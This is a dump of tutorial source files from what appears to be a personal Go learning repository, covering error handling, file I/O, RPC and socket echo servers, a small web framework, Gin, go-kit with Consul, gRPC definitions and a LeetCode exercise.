-------------------------------------------------------------------------------- 1 | package error_handling 2 | 3 | import ( 4 | "errors" 5 | "os" 6 | "testing" 7 | ) 8 | 9 | /* 10 | panic 停止当前函数执行,一直向上返回,执行每一层的 defer,如果没有遇到 recover,程序退出 11 | 12 | panic 与 os.Exit 的区别 13 | os.Exit 退出时不会调用 defer 指定的函数 14 | os.Exit 退出时不输出当前调用栈信息 15 | */ 16 | func TestPanic(t *testing.T) { 17 | defer func() { 18 | t.Log("Finally!") 19 | }() 20 | t.Log("Start.") 21 | panic(errors.New("Something error")) 22 | } 23 | 24 | func TestOsExit(t *testing.T) { 25 | defer func() { 26 | t.Log("Finally!") 27 | }() 28 | t.Log("Start.") 29 | os.Exit(-1) 30 | } 31 | 32 | /* 33 | recover 仅在 defer 调用中使用,可以获得 panic 的值,如果无法处理可以重新 panic 34 | */ 35 | func TestRecover(t *testing.T) { 36 | defer func() { 37 | r := recover() 38 | if err, ok := r.(error); ok { 39 | t.Log(err) 40 | } else { 41 | panic(r) 42 | } 43 | }() 44 | panic(errors.New("this is an error")) 45 | } 46 | -------------------------------------------------------------------------------- /golang/basic/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/SilenceHVK/blog/golang/basic 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/go-sql-driver/mysql v1.5.0 7 | github.com/petermattis/goid v0.0.0-20180202154549-b0b1615b78e5 // indirect 8 | ) 9 | -------------------------------------------------------------------------------- /golang/basic/go.sum: -------------------------------------------------------------------------------- 1 | github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= 2 | github.com/petermattis/goid v0.0.0-20180202154549-b0b1615b78e5 h1:q2e307iGHPdTGp0hoxKjt1H5pDo6utceo3dQVK3I5XQ= 3 | github.com/petermattis/goid v0.0.0-20180202154549-b0b1615b78e5/go.mod h1:jvVRKCrJTQWu0XVbaOlby/2lO20uSCHEMzzplHXte1o= 4 | -------------------------------------------------------------------------------- /golang/basic/io/ioutil_test.go: -------------------------------------------------------------------------------- 1 | package io 2 | 3 | import ( 4 | "io/ioutil" 5 | "testing" 6 | ) 7 | 8 | // 读取指定文件内容,返回一个 []byte 9 | func TestReadFile(t *testing.T) { 10 | content, err := ioutil.ReadFile("file_test.go") 11 | if err != nil { 12 | panic(err) 13 | } 14 | t.Log(string(content)) 15 | } 16 | 17 | // 向文件中写入内容,如果文件不存在则创建,写入前将清空文件中的内容 18 | func TestWriteFile(t *testing.T) { 19 | err := ioutil.WriteFile("content2.txt", []byte("黄河入海流"), 0777) 20 | if err != nil { 21 | panic(err) 22 | } 23 | t.Log("写入数据成功") 24 | } 25 | 26 | // 显示指定目录下的文件 27 | func TestReadDir(t *testing.T) { 28 | dirs, err := ioutil.ReadDir("../io") 29 | if err != nil { 30 | panic(err) 31 | } 32 | 33 | for _, dir := range dirs { 34 | t.Log(dir.Name()) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /golang/basic/net/rpc/client/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/SilenceHVK/blog/golang/basic/net/rpc/client/client_proxy" 6 | ) 7 | 8 | func main() { 9 | service := client_proxy.NewGoodsService("tcp", ":9999") 10 | var reply string 11 | service.GetGoods("零食", &reply) 12 | fmt.Println("客户端返回 => " + reply) 13 | } 14 | -------------------------------------------------------------------------------- /golang/basic/net/rpc/client/client_proxy/client_proxy.go: -------------------------------------------------------------------------------- 1 | package client_proxy 2 | 3 | import ( 4 | "github.com/SilenceHVK/blog/golang/basic/net/rpc/handler" 5 | "net/rpc" 6 | ) 7 | 8 | // GoodsService 实现 GoodsService接口 9 | type GoodsService struct { 10 | *rpc.Client 11 | } 12 | 13 | func (g *GoodsService) GetGoods(category string, reply *string) error { 14 | return g.Call(handler.GoodsServiceRPC+".GetGoods", category, &reply) 15 | } 16 | 17 | func NewGoodsService(protocol, address string) *GoodsService { 18 | conn, _ := rpc.Dial(protocol, address) 19 | return &GoodsService{ 20 | conn, 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /golang/basic/net/rpc/handler/goods_service.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | // GoodsServiceRPC 定义 RPC 服务名称 4 | const GoodsServiceRPC = "handler/GoodsService" 5 | 6 | // GoodsService 定义商品服务接口 7 | type GoodsService interface { 8 | GetGoods(category string, reply *string) error 9 | } 10 | -------------------------------------------------------------------------------- /golang/basic/net/rpc/server/model/goods.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | type Goods struct { 4 | } 5 | 6 | func (g Goods) GetGoods(category string, reply *string) error { 7 | *reply = category + ":饮料、花生、瓜子、大辣片。。。。。" 8 | return nil 9 | } 10 | -------------------------------------------------------------------------------- /golang/basic/net/rpc/server/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/SilenceHVK/blog/golang/basic/net/rpc/server/model" 5 | "github.com/SilenceHVK/blog/golang/basic/net/rpc/server/server_proxy" 6 | "net" 7 | "net/rpc" 8 | ) 9 | 10 | func main() { 11 | server_proxy.RegisterGoodsService(&model.Goods{}) 12 | listen, _ := net.Listen("tcp", ":9999") 13 | defer listen.Close() 14 | conn, _ := listen.Accept() 15 | rpc.ServeConn(conn) 16 | defer conn.Close() 17 | } 18 | -------------------------------------------------------------------------------- /golang/basic/net/rpc/server/server_proxy/server_proxy.go: -------------------------------------------------------------------------------- 1 | package server_proxy 2 | 3 | import ( 4 | "github.com/SilenceHVK/blog/golang/basic/net/rpc/handler" 5 | "net/rpc" 6 | ) 7 | 8 | // RegisterGoodsService 将服务注册到 RPC 中 9 | func RegisterGoodsService(service handler.GoodsService) error { 10 | return rpc.RegisterName(handler.GoodsServiceRPC, service) 11 | } 12 | -------------------------------------------------------------------------------- /golang/basic/net/socket/tcp/tcp_client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net" 7 | "os" 8 | "strings" 9 | "sync" 10 | ) 11 | 12 | func main() { 13 | var wg sync.WaitGroup 14 | wg.Add(1) 15 | 16 | // 连接服务器端 17 | conn, err := net.Dial("tcp", ":8000") 18 | if err != nil { 19 | panic(err) 20 | } 21 | 22 | buf := make([]byte, 1024) 23 | go func() { 24 | defer func() { 25 | conn.Close() 26 | wg.Done() 27 | }() 28 | for { 29 | // 向服务端发送消息 30 | fmt.Print("请输入发送消息: ") 31 | msg, _ := bufio.NewReader(os.Stdin).ReadString('\n') 32 | _, _ = conn.Write([]byte(msg)) 33 | 34 | // 获取服务端消息 35 | n, err := conn.Read(buf) 36 | if err != nil { 37 | fmt.Println("与服务端断开连接") 38 | break 39 | } 40 | fmt.Println("服务端 => ", string(buf[:n])) 41 | 42 | // 如果发送的消息为 bye,则与服务器断开连接 43 | if strings.Trim(msg, "\r\n") == "bye" { 44 | fmt.Println("与服务端断开连接") 45 | break 46 | } 47 | } 48 | }() 49 | wg.Wait() 50 | } 51 | -------------------------------------------------------------------------------- /golang/basic/net/socket/tcp/tcp_server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net" 7 | "strings" 8 | ) 9 | 10 | func main() { 11 | // 开启 TCP 服务端监听 12 | listen, err := net.Listen("tcp", ":8000") 13 | if err != nil { 14 | panic(err) 15 | } 16 | defer listen.Close() 17 | fmt.Println("服务端已启动,等待客户端连接.....") 18 | 19 | for { 20 | // 阻塞等待,等待客户端连接 21 | client, err := listen.Accept() 22 | if err != nil { 23 | panic(err) 24 | } 25 | go func() { 26 | defer client.Close() 27 | addr := client.RemoteAddr() 28 | fmt.Println(addr, "连接成功") 29 | 30 | for { 31 | // 获取客户端发送信息 32 | message, err := bufio.NewReader(client).ReadString('\n') 33 | if err != nil { 34 | fmt.Println(addr, "断开连接") 35 | break 36 | } 37 | // windows 下的以 \r\n 结束,linux 下以 \n 结束 38 | message = strings.Trim(message, "\r\n") 39 | fmt.Println(addr, " =>", message) 40 | 41 | // 将获取的消息转为大写返回给客户端 42 | client.Write([]byte(strings.ToUpper(message))) 43 | 44 | // 如果 message 为 bye,则断开连接 45 | if message == "bye" { 46 | fmt.Println(addr, "断开连接") 47 | break 48 | } 49 | } 50 | }() 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /golang/basic/net/socket/udp/udp_client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "net" 4 | 5 | func main() { 6 | addr, err := net.ResolveUDPAddr("udp", "127.0.0.1:10001") 7 | if err != nil { 8 | panic(err) 9 | } 10 | 11 | udp, err := net.DialUDP("udp", nil, addr) 12 | if err != nil { 13 | panic(err) 14 | } 15 | defer udp.Close() 16 | 17 | _, _ = udp.Write([]byte("Hello World")) 18 | } 19 | -------------------------------------------------------------------------------- /golang/basic/net/socket/udp/udp_server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | ) 7 | 8 | func main() { 9 | addr, err := net.ResolveUDPAddr("udp", "0.0.0.0:10001") 10 | if err != nil { 11 | panic(err) 12 | } 13 | 14 | conn, err := net.ListenUDP("udp", addr) 15 | if err != nil { 16 | panic(err) 17 | } 18 | defer conn.Close() 19 | fmt.Printf("Connecting to:%s\n", conn.LocalAddr()) 20 | 21 | buffer := make([]byte, 1024) 22 | for { 23 | n, _, err := conn.ReadFrom(buffer) 24 | if err != nil { 25 | fmt.Printf("err => %s\n", err.Error()) 26 | return 27 | } 28 | fmt.Printf("%s\n", string(buffer[:n])) 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /golang/basic/os/signal.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "os" 6 | "os/signal" 7 | "syscall" 8 | ) 9 | 10 | // Signal(信号)是 Linux,类Unix 和其他 POSIX 兼容的操作系统中用来进程间通讯的一种方式, 11 | // 一个信号就是一个异步的通知,发送给某个进程,或同进程的某个线程,告诉它们某个事件发生了。 12 | 13 | // Go 信号通知机制可以通过往一个 channel 中发送 os.Signal 实现 14 | func main() { 15 | // 创建 os.Signal channel 16 | signalChannel := make(chan os.Signal) 17 | 18 | // 注册接收的信号,SIGINT = ctrl + c, SIGTERM = 程序终止 19 | signal.Notify(signalChannel, syscall.SIGINT, syscall.SIGTERM) 20 | 21 | done := make(chan bool) 22 | 23 | go func() { 24 | log.Println(<-signalChannel) 25 | done <- true 26 | }() 27 | 28 | log.Println("程序执行中.....") 29 | <-done // 程序在此阻塞,直至 done channel 中有值 30 | log.Println("程序执行结束.") 31 | } 32 | -------------------------------------------------------------------------------- /golang/basic/other/embed-practice/static/css/index.css: -------------------------------------------------------------------------------- 1 | html, body { 2 | width: 100%; 3 | height: 100%; 4 | overflow: hidden auto; 5 | } -------------------------------------------------------------------------------- /golang/basic/other/embed-practice/static/js/index.js: -------------------------------------------------------------------------------- 1 | console.log('Hello JS') -------------------------------------------------------------------------------- /golang/basic/other/embed-practice/static/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 首页 9 | 10 | 11 |

Hello !{{.title}}

12 | 13 | 14 | -------------------------------------------------------------------------------- /golang/basic/utils/flag_test.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | "testing" 8 | ) 9 | 10 | // flag 包用来处理命令行参数,支持 bool、int、int64、uint、uint64、float float64、string、duration 等数据类型 11 | 12 | // 定义 Flag 命令行参数 13 | func TestDefinedFlagArgs(t *testing.T) { 14 | // flag.Type(flag名, 默认值, 帮助信息)*Type, 15 | name := flag.String("name", "", "用户名称") 16 | t.Log(name) 17 | 18 | // flag.TypeVar(Type指针, flag名, 默认值, 帮助信息) 19 | var age int 20 | flag.IntVar(&age, "age", 18, "用户年龄") 21 | t.Log(age) 22 | } 23 | 24 | // 解析 Flag 参数 25 | func TestParseArgs(t *testing.T) { 26 | var name string 27 | var age int 28 | 29 | // 设置 Flag Usage 30 | flag.Usage = func() { 31 | fmt.Printf("Usage: %s -name=value -age=value \n", os.Args[0]) 32 | } 33 | flag.StringVar(&name, "name", "", "用户名") 34 | flag.IntVar(&age, "age", 18, "年龄") 35 | 36 | // 定义完 Flag 参数后,通过 Parse() 方法对命令行参数解析 37 | flag.Parse() 38 | 39 | // 支持的命令行参数格式有以下几种: 40 | // -flag key 41 | // -–flag key 42 | // -flag key=value 43 | // --flag key=value 44 | 45 | // 返回命令行参数的其他参数 46 | flag.Args() 47 | // 返回命令行参数后的参数个数 48 | flag.NArg() 49 | // 返回使用命令行解析的参数个数 50 | flag.NFlag() 51 | } 52 | -------------------------------------------------------------------------------- /golang/basic/web/http_test.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "html/template" 5 | "net/http" 6 | "os" 7 | "testing" 8 | ) 9 | 10 | func TestCreateServer(t *testing.T) { 11 | /* 12 | 创建服务器监听,第一个参数为网络地址,第二个参数为请求处理器 13 | 网络地址为空字符串 则默认为使用 80 端口 14 | 请求处理器为nil,则默认采用多路复用 15 | */ 16 | //http.ListenAndServe("", nil) 17 | 18 | // 使用 Server 构造器构建,可以进行更为详细的配置 19 | server := http.Server{Addr: "", Handler: nil} 20 | server.ListenAndServe() 21 | } 22 | 23 | func TestGeneratorSSL(t *testing.T) { 24 | //max := new(big.Int).Lsh(big.NewInt(1), 128) 25 | //serialNumber, _ := rand.Int(rand.Reader, max) 26 | } 27 | 28 | // 加载模板 29 | type People struct { 30 | Name string 31 | Age int 32 | } 33 | 34 | func TestLoadTemplate(t *testing.T) { 35 | http.HandleFunc("/", func(writer http.ResponseWriter, request *http.Request) { 36 | path, _ := os.Getwd() 37 | index, _ := template.ParseFiles(path + "/template/index.html") 38 | index.Execute(writer, &People{ 39 | Name: "H_VK", 40 | Age: 18, 41 | }) 42 | }) 43 | err := http.ListenAndServe(":9999", nil) 44 | if err != nil { 45 | t.Log(err) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /golang/basic/web/template/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 首页 9 | 10 | 11 |

Hello !{{.Name}} {{ .Age }}

12 | 13 | 14 | -------------------------------------------------------------------------------- /golang/custom/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | web_framework "github.com/SilenceHVK/blog/golang/custom/web-framework" 5 | "net/http" 6 | ) 7 | 8 | func main() { 9 | engine := web_framework.New() 10 | 11 | engine.Get("/", func(c *web_framework.Context) { 12 | c.String(http.StatusOK, "Hello World") 13 | }) 14 | 15 | engine.Get("/user", func(c *web_framework.Context) { 16 | c.HTML(http.StatusOK, "

Name: %s, Age: %s

", c.Query("name"), c.Query("age")) 17 | }) 18 | 19 | engine.Post("/login", func(c *web_framework.Context) { 20 | c.JSON(http.StatusOK, web_framework.H{ 21 | "username": c.FormValue("username"), 22 | "password": c.FormValue("password"), 23 | }) 24 | }) 25 | 26 | engine.Run(":9999") 27 | } 28 | -------------------------------------------------------------------------------- /golang/custom/web-framework/router.go: -------------------------------------------------------------------------------- 1 | package web_framework 2 | 3 | import "net/http" 4 | 5 | // HandleFunc 定义处理函数类型 6 | type HandleFunc func(c *Context) 7 | 8 | type router struct { 9 | handlers map[string]HandleFunc 10 | } 11 | 12 | // newRouter 实例化 router 13 | func newRouter() *router { 14 | return &router{ 15 | handlers: make(map[string]HandleFunc), 16 | } 17 | } 18 | 19 | // handler 处理请求路由 20 | func (r *router) handler(c *Context) { 21 | if handleFunc, ok := r.handlers[c.Method+"-"+c.Path]; ok { 22 | handleFunc(c) 23 | } else { 24 | c.HTML(http.StatusNotFound, "

Not Found:%q

", c.Path) 25 | } 26 | } 27 | 28 | // addRouter 添加路由 29 | func (r *router) addRouter(method, pattern string, handleFunc HandleFunc) { 30 | r.handlers[method+"-"+pattern] = handleFunc 31 | } 32 | -------------------------------------------------------------------------------- /golang/custom/web-framework/server.go: -------------------------------------------------------------------------------- 1 | package web_framework 2 | 3 | import ( 4 | "net/http" 5 | ) 6 | 7 | type Engine struct { 8 | router *router 9 | } 10 | 11 | // New 实例化 Web 引擎 12 | func New() *Engine { 13 | return &Engine{ 14 | router: newRouter(), 15 | } 16 | } 17 | 18 | // ServerHTTP 实现 Handler 接口用于处理请求 19 | func (e *Engine) ServeHTTP(writer http.ResponseWriter, request *http.Request) { 20 | e.router.handler(newContext(writer, request)) 21 | } 22 | 23 | // Run 启动Web服务 24 | func (e *Engine) Run(addr string) (err error) { 25 | return http.ListenAndServe(addr, e) 26 | } 27 | 28 | // Get 设置 Get 请求路由 29 | func (e *Engine) Get(pattern string, handleFunc HandleFunc) { 30 | e.router.addRouter("GET", pattern, handleFunc) 31 | } 32 | 33 | // Post 设置 Post 请求路由 34 | func (e *Engine) Post(pattern string, handleFunc HandleFunc) { 35 | e.router.addRouter("POST", pattern, handleFunc) 36 | } 37 | -------------------------------------------------------------------------------- /golang/gin/dto/user.go: -------------------------------------------------------------------------------- 1 | package dto 2 | 3 | import "time" 4 | 5 | type User struct { 6 | /* 7 | binding: 两个值同时满足使用 , 分割,任意一个条件满足使用 | 分割 8 | "required" 必填项 9 | gin 的参数验证规则使用的是 golang 的验证方法 10 | */ 11 | Name string `form:"name" binding:"required"` 12 | Age int `form:"age"` 13 | Address string `form:"address"` 14 | Birthday time.Time `form:"birthday" time_format:"2006-01-02"` 15 | LoginTime time.Time `form:"loginTime" binding:"required" time_format:"2006-01-02"` 16 | } 17 | -------------------------------------------------------------------------------- /golang/gin/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/SilenceHVK/blog/golang/gin 2 | 3 | go 1.15 4 | 5 | require ( 6 | github.com/gin-gonic/gin v1.7.0 7 | github.com/go-playground/validator/v10 v10.4.1 8 | github.com/golang/protobuf v1.4.3 // indirect 9 | github.com/json-iterator/go v1.1.10 // indirect 10 | github.com/leodido/go-urn v1.2.1 // indirect 11 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 12 | github.com/modern-go/reflect2 v1.0.1 // indirect 13 | github.com/ugorji/go v1.2.3 // indirect 14 | golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad // indirect 15 | golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c // indirect 16 | google.golang.org/protobuf v1.25.0 // indirect 17 | gopkg.in/yaml.v2 v2.4.0 // indirect 18 | ) 19 | -------------------------------------------------------------------------------- /golang/gin/middleware/middleware.go: -------------------------------------------------------------------------------- 1 | package middleware 2 | 3 | import ( 4 | "log" 5 | 6 | "github.com/gin-gonic/gin" 7 | ) 8 | 9 | // 自定义中间件 10 | func IPAuthMiddleware() gin.HandlerFunc { 11 | return func(context *gin.Context) { 12 | log.Fatalf("客户端IP: %s \n", context.ClientIP()) 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /golang/gin/proto-source/user.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | option go_package = "./proto;proto"; 4 | 5 | message Teacher { 6 | string name = 1; 7 | repeated string course = 2; 8 | } -------------------------------------------------------------------------------- /golang/gin/static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Gin Web 6 | 7 | 8 |

Gin Web

9 | 10 | -------------------------------------------------------------------------------- /golang/gin/template/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | {{ .title }} 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /golang/gin/validate/validate.go: -------------------------------------------------------------------------------- 1 | package validate 2 | 3 | import ( 4 | "reflect" 5 | "time" 6 | 7 | "github.com/go-playground/validator/v10" 8 | ) 9 | 10 | // 自定义验证规则 11 | func CustomValidate(v *validator.Validate, topStruct reflect.Value, currentStructOrField reflect.Value, field reflect.Value, fieldType reflect.Type, fieldKind reflect.Kind, param string) bool { 12 | if date, ok := field.Interface().(time.Time); ok { 13 | now := time.Now() 14 | return date.Unix() > now.Unix() 15 | } 16 | return true 17 | } 18 | -------------------------------------------------------------------------------- /golang/go-kit/endpoint/user_endpoint.go: -------------------------------------------------------------------------------- 1 | // Package endpoint 层负责定义 Request 和 Response 格式,并可以使用装饰器包装函数来实现各种中间件嵌套 2 | package endpoint 3 | 4 | import ( 5 | "context" 6 | "github.com/SilenceHVK/blog/golang/go-kit/service" 7 | "github.com/go-kit/kit/endpoint" 8 | ) 9 | 10 | type UserRequest struct { 11 | Uid int `json:"uid"` 12 | } 13 | 14 | type UserResponse struct { 15 | Result string `json:"result"` 16 | } 17 | 18 | // GenUserServiceEndpoint 生成 Endpoint 19 | func GenUserServiceEndpoint(userService service.IUserService) endpoint.Endpoint { 20 | return func(ctx context.Context, request interface{}) (response interface{}, err error) { 21 | r := request.(UserRequest) 22 | return UserResponse{ 23 | Result: userService.GetName(r.Uid), 24 | }, nil 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /golang/go-kit/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/SilenceHVK/blog/golang/go-kit 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/go-kit/kit v0.12.0 7 | github.com/gorilla/mux v1.8.0 8 | github.com/hashicorp/consul/api v1.10.1 9 | ) 10 | 11 | require ( 12 | github.com/armon/go-metrics v0.3.9 // indirect 13 | github.com/fatih/color v1.12.0 // indirect 14 | github.com/go-kit/log v0.2.0 // indirect 15 | github.com/go-logfmt/logfmt v0.5.1 // indirect 16 | github.com/hashicorp/go-cleanhttp v0.5.2 // indirect 17 | github.com/hashicorp/go-hclog v0.16.2 // indirect 18 | github.com/hashicorp/go-immutable-radix v1.3.1 // indirect 19 | github.com/hashicorp/go-rootcerts v1.0.2 // indirect 20 | github.com/hashicorp/golang-lru v0.5.4 // indirect 21 | github.com/hashicorp/serf v0.9.5 // indirect 22 | github.com/mattn/go-colorable v0.1.8 // indirect 23 | github.com/mattn/go-isatty v0.0.14 // indirect 24 | github.com/mitchellh/go-homedir v1.1.0 // indirect 25 | github.com/mitchellh/mapstructure v1.4.2 // indirect 26 | golang.org/x/sys v0.0.0-20210917161153-d61c044b1678 // indirect 27 | ) 28 | -------------------------------------------------------------------------------- /golang/go-kit/service/user_service.go: -------------------------------------------------------------------------------- 1 | // Package service 层负责业务类与接口 2 | package service 3 | 4 | import "strconv" 5 | 6 | type IUserService interface { 7 | GetName(userId int) string 8 | } 9 | 10 | type UserService struct { 11 | } 12 | 13 | func (u UserService) GetName(userId int) string { 14 | return "Silence H_VK, Uid:" + strconv.Itoa(userId) 15 | } 16 | -------------------------------------------------------------------------------- /golang/go-kit/transport/service_transport.go: -------------------------------------------------------------------------------- 1 | // Package transport 层负责接受用户请求并将数据转为 Endpoint 使用的数据格式,并把 Endpoint 的返回值封装返回给用户 2 | package transport 3 | 4 | import ( 5 | "context" 6 | "encoding/json" 7 | "errors" 8 | "github.com/SilenceHVK/blog/golang/go-kit/endpoint" 9 | "github.com/gorilla/mux" 10 | "net/http" 11 | "strconv" 12 | ) 13 | 14 | // DecodeUserServiceRequest 对用户服务请求解码 15 | func DecodeUserServiceRequest(ctx context.Context, request *http.Request) (interface{}, error) { 16 | vars := mux.Vars(request) 17 | if uid, ok := vars["uid"]; ok { 18 | id, _ := strconv.Atoi(uid) 19 | return endpoint.UserRequest{ 20 | Uid: id, 21 | }, nil 22 | } 23 | return nil, errors.New("参数未传递") 24 | } 25 | 26 | // EncodeUserServiceResponse 对用户请求服务响应 27 | func EncodeUserServiceResponse(ctx context.Context, writer http.ResponseWriter, response interface{}) error { 28 | return json.NewEncoder(writer).Encode(response) 29 | } 30 | -------------------------------------------------------------------------------- /golang/go-kit/utils/consul.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import consul "github.com/hashicorp/consul/api" 4 | 5 | var consulClient *consul.Client 6 | 7 | func init() { 8 | // 指定 Consul 注册中心地址 9 | config := consul.DefaultConfig() 10 | config.Address = "192.168.50.130:55001" 11 | 12 | client, err := consul.NewClient(config) 13 | if err != nil { 14 | panic(err) 15 | } 16 | consulClient = client 17 | } 18 | 19 | func RegisterService() { 20 | // 指定服务注册信息 21 | registration := &consul.AgentServiceRegistration{ 22 | ID: "USER-SERVICE", 23 | Name: "USER_SERVICE", 24 | Address: "192.168.50.130", 25 | Port: 9999, 26 | } 27 | 28 | _ = consulClient.Agent().ServiceRegister(registration) 29 | } 30 | 31 | func UnRegister() { 32 | _ = consulClient.Agent().ServiceDeregister("USER-SERVICE") 33 | } 34 | -------------------------------------------------------------------------------- /golang/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/SilenceHVK/blog/golang 2 | 3 | go 1.15 4 | -------------------------------------------------------------------------------- /golang/go.sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SilenceHVK/blog/9a4132b09342b90a470229905083d1beac38d3dc/golang/go.sum -------------------------------------------------------------------------------- /golang/grpc/auth-grpc/proto-source/employee.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | option go_package = "./proto;proto"; 4 | 5 | // 引入外部 protobuf 6 | import "google/protobuf/empty.proto"; 7 | 8 | service EmployeeService { 9 | rpc GetAllEmployees(google.protobuf.Empty) returns (QueryResp); 10 | } 11 | 12 | message QueryResp { 13 | repeated string employees = 1; 14 | } 15 | -------------------------------------------------------------------------------- /golang/grpc/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/SilenceHVK/blog/golang/grpc 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/golang/protobuf v1.5.2 // indirect 7 | golang.org/x/net v0.0.0-20211118161319-6a13c67c3ce4 // indirect 8 | golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1 // indirect 9 | golang.org/x/text v0.3.7 // indirect 10 | google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1 // indirect 11 | google.golang.org/grpc v1.42.0 // indirect 12 | google.golang.org/protobuf v1.27.1 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /golang/grpc/simple-grpc/client/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/SilenceHVK/blog/golang/grpc/simple-grpc/proto-source/proto" 7 | "google.golang.org/grpc" 8 | ) 9 | 10 | func main() { 11 | // 创建与服务端连接 12 | conn, _ := grpc.Dial("127.0.0.1:9999", grpc.WithInsecure()) 13 | defer conn.Close() 14 | // 实例客户端 15 | client := proto.NewGreeterClient(conn) 16 | // 调用客户端方法 17 | reply, _ := client.SayHello(context.Background(), &proto.HelloRequest{ 18 | Name: "H_VK", 19 | }) 20 | fmt.Println(reply) 21 | } 22 | -------------------------------------------------------------------------------- /golang/grpc/simple-grpc/proto-source/helloworld.proto: -------------------------------------------------------------------------------- 1 | // 定义 protobuf 使用版本 2 | syntax = "proto3"; 3 | 4 | // 定义生成后的包名:生成路径;包名 5 | option go_package = "./proto;proto"; 6 | 7 | service Greeter { 8 | rpc SayHello(HelloRequest) returns(HelloReply); 9 | } 10 | 11 | message HelloRequest { 12 | string name = 1; 13 | } 14 | 15 | message HelloReply { 16 | string message = 1; 17 | } 18 | 19 | // 通过命令生成 protoc -I . --go_out=:. --go-grpc_out=:. *.proto -------------------------------------------------------------------------------- /golang/grpc/simple-grpc/server/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "github.com/SilenceHVK/blog/golang/grpc/simple-grpc/proto-source/proto" 6 | "google.golang.org/grpc" 7 | "net" 8 | ) 9 | 10 | type Server struct { 11 | proto.UnsafeGreeterServer 12 | } 13 | 14 | func (s Server) SayHello(context context.Context, request *proto.HelloRequest) (*proto.HelloReply, error) { 15 | return &proto.HelloReply{ 16 | Message: "Hello!" + request.Name, 17 | }, nil 18 | } 19 | 20 | func main() { 21 | // 创建 GRPC 服务端实例 22 | server := grpc.NewServer() 23 | // 将服务注册到 GRPC 中 24 | proto.RegisterGreeterServer(server, &Server{}) 25 | // 创建服务器监听 26 | listen, _ := net.Listen("tcp", ":9999") 27 | defer listen.Close() 28 | // 将服务处理交由 GRPC 处理 29 | server.Serve(listen) 30 | } 31 | -------------------------------------------------------------------------------- /golang/grpc/stream-grpc/proto-source/stream.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | option go_package = "./proto;proto"; 4 | 5 | service Stream { 6 | rpc GetStream(StreamReqData) returns(stream StreamRespData); // 服务端流模式 7 | rpc PutStream(stream StreamReqData) returns(StreamRespData); // 客户端流模式 8 | rpc AllStream(stream StreamReqData) returns(stream StreamRespData); // 双向流模式 9 | } 10 | 11 | message StreamReqData { 12 | string data = 1; 13 | } 14 | 15 | message StreamRespData { 16 | string data = 1; 17 | } -------------------------------------------------------------------------------- /golang/leetcode/leetcode20_valid_parentheses_test.go: -------------------------------------------------------------------------------- 1 | package leetcode 2 | 3 | import "testing" 4 | 5 | // https://leetcode-cn.com/problems/valid-parentheses/submissions/ 6 | func isValid(s string) bool { 7 | if len(s)%2 == 1 { 8 | return false 9 | } 10 | 11 | stack := []string{} 12 | for _, c := range s { 13 | paren := string(c) 14 | if paren == "{" || paren == "[" || paren == "(" { 15 | stack = append(stack, paren) 16 | } else { 17 | stackLength := len(stack) 18 | if stackLength == 0 { 19 | return false 20 | } 21 | topChar := stack[stackLength-1] 22 | if (paren == "}" && topChar != "{") || (paren == ")" && topChar != "(") || (paren == "]" && topChar != "[") { 23 | return false 24 | } 25 | stack = stack[:stackLength-1] 26 | } 27 | } 28 | return len(stack) == 0 29 | } 30 | 31 | func TestIsValid(t *testing.T) { 32 | t.Log(isValid("[)")) 33 | } 34 | -------------------------------------------------------------------------------- /golang/tool-library/gorm/gorm.go: 